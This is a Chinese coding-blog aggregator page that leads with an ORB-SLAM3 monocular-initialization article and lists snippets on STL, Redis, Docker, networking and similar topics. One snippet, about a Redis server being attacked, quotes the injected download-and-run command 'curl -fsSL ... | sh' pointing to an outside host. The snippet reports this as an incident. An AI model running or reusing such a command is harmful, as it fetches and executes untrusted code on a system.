当前位置： 首页 > news >正文

手把手带你死磕ORBSLAM3源代码(三十四)Tracking.cc MonocularInitialization编辑

news 2025/12/20 12:10:24

目录

一.前言

二.代码

2.1完整代码

2.2 单目视觉跟踪初始化

一.前言

    这段代码是一个名为MonocularInitialization的函数，它属于Tracking类。从函数名称和代码内容来看，这个函数主要用于单目视觉跟踪的初始化过程。以下是代码的详细解读：

    首先，函数检查一个名为m

相关文章：

手把手带你死磕ORBSLAM3源代码(三十四)Tracking.cc MonocularInitialization编辑

目录 一.前言 二.代码 2.1完整代码 2.2 单目视觉跟踪初始化 一.前言 这段代码是一个名为MonocularInitialization的函数，它属于Tracking类。从函数名称和代码内容来看，这个函数主要用于单目视觉跟踪的初始化过程。以下是代码的详细解读： 首先，函数检查一个名为m...

编程日记 2024/1/8 12:48:05

STL标准库与泛型编程（侯捷）笔记3

STL标准库与泛型编程（侯捷） 本文是学习笔记，仅供个人学习使用。如有侵权，请联系删除。 参考链接 Youbute: 侯捷-STL标准库与泛型编程 B站: 侯捷 - STL Github:STL源码剖析中源码 https://github.com/SilverMaple/STLSourceCo…...

编程日记 2024/1/8 12:47:04

Iceberg: 列式读取Parquet数据

通过Spark读取Parquet文件的基本流程 SQL > Spark解析SQL生成逻辑计划树 LogicalPlan > Spark创建扫描表/读取数据的逻辑计划结点 DataSourceV2ScanRelation > Spark优化逻辑计划树，生成物理计划树 SparkPlan > Spark根据不同的属性，将逻辑…...

编程日记 2024/1/8 12:46:03

Ansible、Saltstack、Puppet自动化运维工具介绍

本文主要是分享介绍三款主流批量操控工具Ansible、Saltstack、Puppet主要对比区别，以及Ansible和saltstack的基础安装和使用示例，如果觉得本文对你有帮助，欢迎点赞、收藏、评论！ There are many things that can not be broken&am…...

编程日记 2024/1/8 12:45:02

python线程池提交任务

1. 线程池参数设置 CPU数量：N线程池的核心线程数量 IO密集型的话，一般设置为 2 * N 1； CPU密集型的话，一般设置为 N 1 或者 使用进程池。线程池的最大任务队列长度 （线程池的核心线程数 / 单个任务的执行时间&#…...

编程日记 2024/1/8 12:44:01

跨境电商企业客户服务优化指南：关键步骤与实用建议

随着全球经济一体化的加强，跨境电子商务产业在过去几年蓬勃发展。但是，为应对激烈竞争，提供全方面的客户服务成为了跨境电子商务卖家在市场中获得优势的关键因素之一。本文将介绍跨境电商企业优化客户服务有哪些步骤？以助力企业提…...

编程日记 2024/1/8 12:41:59

Visual Studio Code 常用快捷键

Visual Studio Code 常用快捷键 文章目录 Visual Studio Code 常用快捷键1. 主命令框2. 常用快捷键2.1 编辑器与窗口管理2.2 代码编辑格式调整光标相关重构代码查找替换显示相关其他 1. 主命令框 F1 或 CtrlShiftP : 打开命令面板。在打开的输入框内，可以输入任何命…...

编程日记 2024/1/8 12:38:56

ubuntu创建pytorch-gpu的docker环境

文章目录 安装docker创建镜像创建容器 合作推广，分享一个人工智能学习网站。计划系统性学习的同学可以了解下，点击助力博主脱贫( •̀ ω •́ )✧ 使用docker的好处就是可以将你的环境和别人的分开，特别是共用的情况下。本文介绍了ubuntu环境…...

编程日记 2024/1/8 12:37:55

数据库原理与应用期末复习试卷2

数据库原理技术与应用 一.单项选择题 设有属性A，B，C，D，以下表示中不是关系的是( C) ​ A、R(A) B、R(A, B, C, D) C、R（AxBxCxD） D、R(A，B) 在SQL语言中的视图VIEW是数据库的(A）…...

编程日记 2024/1/8 12:36:55

操作系统丨单元测试

文章目录 单元测试选择题填空题单元测试 选择题 【单选题】可以实现虚拟存储器的方案是（D）。 A. 固定分区方式 B. 可变分区方式 C. 纯分页方式 D. 请求页式 【单选题】文件系统中文件存储空间的分配是以（D）为基本单位进行的。 A. 字 B. 字节 C. 文件 D. 块 【单选题】哪种…...

编程日记 2024/1/8 12:35:54

tcp/ip协议2实现的插图，数据结构6 (24 - 章)

(142) 142 二四1 TCP传输控制协议 tcpstat统计量与tcp 函数调用链 (143) 143 二四2 TCP传输控制协议 宏定义与常量值–上 (144) 144 二四3 TCP传输控制协议 宏定义与常量值–下 (145) 145 二四4 TCP传输控制协议 结构tcphdr,tcpiphdr (146) 146 二四5 TCP传输控制协议 结构 tcp…...

编程日记 2024/1/8 12:32:50

Linux链接的创建，删除，修改

目录 1. 概述2. 硬链接2.1 创建硬链接2.2 删除硬链接 3. 软链接3.1 创建软链接3.2 删除软链接 5. 常用的终端工具下载 计算机基础–Linux详解 1. 概述 在Linux系统中，链接是一种文件系统中的重要概念。链接允许用户在文件系统中创建指向另一个文件的引用&#xff0c…...

编程日记 2024/1/8 12:30:48

HarmoryOS Ability页面的生命周期

接入穿山甲SDK app示例： android 数独小游戏 经典数独休闲益智 广告接入示例: Android 个人开发者如何接入广告SDK，实现app流量变现 Ability页面的生命周期 学习前端，第一步最重要的是要理解，页面启动和不同场景下的生命周期的…...

编程日记 2024/1/8 12:29:47

【Flink 从入门到成神系列 一】算子

👏作者简介：大家好，我是爱敲代码的小黄，阿里巴巴淘天Java开发工程师，CSDN博客专家📕系列专栏：Spring源码、Netty源码、Kafka源码、JUC源码、dubbo源码系列🔥如果感觉博主的文章还不错…...

编程日记 2024/1/8 12:28:46

无人机自主寻优降落在移动车辆

针对无人机寻找并降落在移动车辆上的问题，一套可能的研究总体方案： 问题定义与建模： 确定研究的具体范围和目标，包括无人机的初始条件、最大飞行距离、允许的最大追踪误差等。建立马尔科夫决策过程模型（MDP&#xff09…...

编程日记 2024/1/8 12:27:45

科技感十足界面模板

科技感界面 在强调简洁的科技类产品相关设计中，背景多数分为：颜色或写实图片两种。 颜色很好理解，大多以深色底为主。强调一种神秘感和沉稳感，同时可以和浅色的文字内容形成很好的对比。 而图片背景的使用，就要求其…...

编程日记 2024/1/8 12:26:44

pytest装饰器 @pytest.mark.parametrize 使用方法

pytest.mark.parametrize 有三种传参方法，分别是： 1.列表传参：将参数值作为列表传递给装饰器。 pytest.mark.parametrize("param", [value1, value2, ..., valuen])2.元组传参：将参数值作为元组传递给装饰器。 pytes…...

编程日记 2024/1/8 12:20:36

redis被攻击

之前由于redis没有修改端口，密码也比较简单，也没有绑定ip 结果被攻击了 1 redis里被写入string类型的脚本，比如：Back1 Back2 Back3 Back4 ，内容curl -fsSL http://d.powerofwish.com/pm.sh | sh的形式，如下…...

编程日记 2024/1/8 12:19:35

二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明

处理二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明 sitemapLocation 指明 sitemap.json 的位置；默认为 ‘sitemap.json’ 即在 app.json 同级目录下名字的 sitemap.json 文件 找到app.json这个文件 把这段代码加进去&…...

编程日记 2024/1/8 12:18:34

【AI视野·今日Sound 声学论文速览 第四十期】Wed, 3 Jan 2024

AI视野今日CS.Sound 声学论文速览 Wed, 3 Jan 2024 Totally 4 papers 👉上期速览✈更多精彩请移步主页 Daily Sound Papers Auffusion: Leveraging the Power of Diffusion and Large Language Models for Text-to-Audio Generation Authors Jinlong Xue, Yayue De…...

编程日记 2024/1/8 12:15:31

阿里云ACP云计算备考笔记 (5)——弹性伸缩

目录 第一章 概述 第二章 弹性伸缩简介 1、弹性伸缩 2、垂直伸缩 3、优势 4、应用场景 ① 无规律的业务量波动 ② 有规律的业务量波动 ③ 无明显业务量波动 ④ 混合型业务 ⑤ 消息通知 ⑥ 生命周期挂钩 ⑦ 自定义方式 ⑧ 滚的升级 5、使用限制 第三章 主要定义 …...

编程新知 2025/12/15 15:15:10

聊聊 Pulsar：Producer 源码解析

一、前言 Apache Pulsar 是一个企业级的开源分布式消息传递平台，以其高性能、可扩展性和存储计算分离架构在消息队列和流处理领域独树一帜。在 Pulsar 的核心架构中，Producer（生产者） 是连接客户端应用与消息队列的第一步。生产者…...

编程新知 2025/12/19 22:49:25

dedecms 织梦自定义表单留言增加ajax验证码功能

增加ajax功能模块&#xff0c;用户不点击提交按钮&#xff0c;只要输入框失去焦点&#xff0c;就会提前提示验证码是否正确。 一&#xff0c;模板上增加验证码 <input name"vdcode"id"vdcode" placeholder"请输入验证码" type"text&quo…...

编程新知 2025/12/15 15:34:58

渲染学进阶内容——模型

最近在写模组的时候发现渲染器里面离不开模型的定义，在渲染的第二篇文章中简单的讲解了一下关于模型部分的内容，其实不管是方块还是方块实体，都离不开模型的内容 🧱 一、CubeListBuilder 功能解析 CubeListBuilder 是 Minecraft Java 版模型系统的核心构建器，用于动态创…...

编程新知 2025/11/25 22:59:17

Keil 中设置 STM32 Flash 和 RAM 地址详解

文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面（Target 选项卡）1. IROM1（用于配置 Flash）2. IRAM1（用于配置 RAM）二、链接器设置界面（Linker 选项卡）1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数（如果没有勾选上面…...

编程新知 2025/12/14 22:06:49

大模型多显卡多服务器并行计算方法与实践指南

一、分布式训练概述 大规模语言模型的训练通常需要分布式计算技术，以解决单机资源不足的问题。分布式训练主要分为两种模式： 数据并行：将数据分片到不同设备，每个设备拥有完整的模型副本 模型并行：将模型分割到不同设备，每个设备处理部分模型计算 现代大模型训练通常结合…...

编程新知 2025/12/10 20:45:02

Linux C语言网络编程详细入门教程：如何一步步实现TCP服务端与客户端通信

文章目录 Linux C语言网络编程详细入门教程&#xff1a;如何一步步实现TCP服务端与客户端通信前言一、网络通信基础概念二、服务端与客户端的完整流程图解三、每一步的详细讲解和代码示例1. 创建Socket&#xff08;服务端和客户端都要&#xff09;2. 绑定本地地址和端口&#x…...

编程新知 2025/10/31 21:54:15

Redis：现代应用开发的高效内存数据存储利器

一、Redis的起源与发展 Redis最初由意大利程序员Salvatore Sanfilippo在2009年开发&#xff0c;其初衷是为了满足他自己的一个项目需求&#xff0c;即需要一个高性能的键值存储系统来解决传统数据库在高并发场景下的性能瓶颈。随着项目的开源&#xff0c;Redis凭借其简单易用、…...

编程新知 2025/11/15 1:41:43

MySQL 索引底层结构揭秘：B-Tree 与 B+Tree 的区别与应用

文章目录 一、背景知识&#xff1a;什么是 B-Tree 和 BTree&#xff1f; B-Tree&#xff08;平衡多路查找树&#xff09; BTree&#xff08;B-Tree 的变种&#xff09; 二、结构对比&#xff1a;一张图看懂 三、为什么 MySQL InnoDB 选择 BTree&#xff1f; 1. 范围查询更快 2…...

编程新知 2025/12/17 21:24:03

Rust 开发环境搭建

环境搭建 1、开发工具RustRover 或者vs code 2、Cygwin64 安装 https://cygwin.com/install.html 在工具终端执行&#xff1a; rustup toolchain install stable-x86_64-pc-windows-gnu rustup default stable-x86_64-pc-windows-gnu ​ 2、Hello World fn main() { println…...

编程新知 2025/12/19 21:09:05